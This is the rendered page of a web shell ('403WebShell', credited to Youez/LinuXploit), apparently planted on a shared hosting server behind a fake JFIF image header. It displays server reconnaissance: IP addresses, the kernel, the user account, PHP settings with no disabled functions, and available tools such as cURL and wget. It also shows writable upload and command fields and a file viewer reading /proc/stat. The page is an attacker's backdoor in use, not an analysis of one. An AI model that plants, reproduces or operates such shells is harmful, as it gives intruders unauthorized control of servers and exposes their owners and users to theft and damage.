????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.64.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/thread-self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/thread-self/root/proc/stat
cpu  1060277301 19712384 499605120 2291990843 60567384 0 40063639 217239 0 0
cpu0 43969370 829233 20753118 95590180 2507616 0 2019804 8998 0 0
cpu1 44256172 822735 20731724 95452484 2532545 0 1843617 8914 0 0
cpu2 43993682 817927 20880369 95580877 2540710 0 1777314 8882 0 0
cpu3 44443926 815469 20771151 95318133 2544352 0 1703565 8903 0 0
cpu4 44396528 815364 20875552 95509187 2556419 0 1462796 8814 0 0
cpu5 44402121 814903 20826177 95593164 2535675 0 1435118 8810 0 0
cpu6 44168597 831504 20910449 95694117 2554058 0 1430344 8767 0 0
cpu7 44268197 821280 20955449 95594895 2550137 0 1406348 8829 0 0
cpu8 44320423 827365 20916185 95340453 2554196 0 1599588 8763 0 0
cpu9 43445536 815791 20697878 96322554 2548686 0 1621137 9003 0 0
cpu10 44102475 826101 20894146 95603379 2538944 0 1581044 8810 0 0
cpu11 44520628 824242 20805922 94990440 2443872 0 1358296 10116 0 0
cpu12 44331859 835827 20899279 95382877 2525727 0 1573748 8761 0 0
cpu13 43939073 814481 20682266 94445202 2488178 0 3057688 10470 0 0
cpu14 43996851 831923 20588049 94387991 2461522 0 3120491 10134 0 0
cpu15 44216085 806707 20785730 95629920 2531730 0 1564674 8798 0 0
cpu16 44124109 813173 20900143 95538144 2541169 0 1616222 8863 0 0
cpu17 44156446 819697 20698859 95747072 2536334 0 1592802 8816 0 0
cpu18 44248375 817983 20780251 95602969 2527323 0 1559131 8770 0 0
cpu19 44063585 813432 20771096 95827061 2519161 0 1559866 8771 0 0
cpu20 44228207 840040 20896893 95742155 2532449 0 1348814 8706 0 0
cpu21 44109892 810071 20966827 95792844 2543850 0 1355085 8730 0 0
cpu22 44198570 830217 20793244 95897330 2508281 0 1350688 8722 0 0
cpu23 44376583 816908 20824351 95407404 2444439 0 1125450 10079 0 0
intr 73706354715 61 9 0 0 479 0 0 0 1 0 0 0 15 0 1647834 0 0 0 0 0 0 0 0 0 0 0 0 1138438954 1134385002 0 23 0 1591828956 1926615186 0 62807407 60312023 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0
ctxt 78841108785
btime 1749132794
processes 298579211
procs_running 5
procs_blocked 0
softirq 30474661922 1 1666788450 141 2599751706 2184345901 0 136618190 1674562987 470393 737287673

Youez - 2016 - github.com/yon3zu
LinuXploit